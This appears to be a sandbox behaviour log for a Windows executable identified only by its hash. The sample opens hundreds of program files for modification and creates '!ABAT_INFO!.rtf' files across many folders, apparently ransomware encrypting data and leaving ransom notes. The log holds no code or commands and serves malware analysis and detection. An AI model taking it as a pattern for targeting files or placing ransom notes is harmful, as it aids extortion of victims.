81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_classic_win7.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\fa.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\hr.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Tegucigalpa 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt_0.12.1.v20140903-1023.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Mahe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Belem 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\skins\fonts\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\content-types.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Vincennes 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\MST7 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Colombo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_ja.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Mail\en-US\msoeres.dll.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Shanghai 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\imap.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Mail\wabmig.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Baghdad 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Managua 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\README.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Novosibirsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Andorra 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\sd\icecast.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\sv.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_CopyNoDrop32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Tehran 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\policytool.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\http.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\en-US\NBMapTIP.dll.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\tnameserv.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\Data1.cab 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Fortaleza 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Yellowknife 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox_1.0.500.v20131211-1531.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-util-enumerations_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Brisbane 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\MST 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.w3c.dom.events_3.0.0.draft20060413_v201105210656.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Madeira 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\kn.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\cursors.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.updatechecker_1.1.200.v20131119-0908.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-jvm.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvm_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\fonts\LucidaBrightRegular.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\WET 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\extensions\VLSub.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\orb.idl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Martinique 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\security\java.policy 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\rt.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Atikokan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Guatemala 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Tirane 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Belem 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Hong_Kong 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Wallis 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.net.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\currency.data 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32Info.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Qyzylorda 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.di_1.0.0.v20140328-2112.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Oral 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Fiji 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\modules\host.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\cy\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Fiji 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.manipulator_2.0.0.v20131217-1203.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.ui_4.0.100.v20140401-0608.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.webapp.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-progress-ui.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Glace_Bay 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Mexico_City 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Creston 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Stockholm 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ext_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository_1.1.300.v20131211-1531.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Winnipeg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_it.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\fontconfig.properties.src 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\Jujuy 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Guyana 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\plugin-container.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\DataMatrix.pmp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santa_Isabel 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Havana 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.text_3.5.300.v20130515-1451.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-sendopts_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\maintenanceservice.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Bahia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Algiers 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository_1.2.100.v20131209-2144.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.services_3.4.0.v20140312-2051.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\updater_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\dumpmeta.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\Words.pdf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\ExportTest.mpg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\ConvertToSet.M2V 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.emf.ecore.xmi_2.10.1.v20140901-1043.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Antarctica\Syowa 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\Beulah 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\apt.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfxrt.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Marengo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.manipulator.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\fonts\TwemojiMozilla.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Budapest 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Midway 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\zipfs.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleCrashHandler.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Funafuti 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.commands_0.10.2.v20140424-2344.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Whitehorse 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\!ABAT_INFO!.rtf 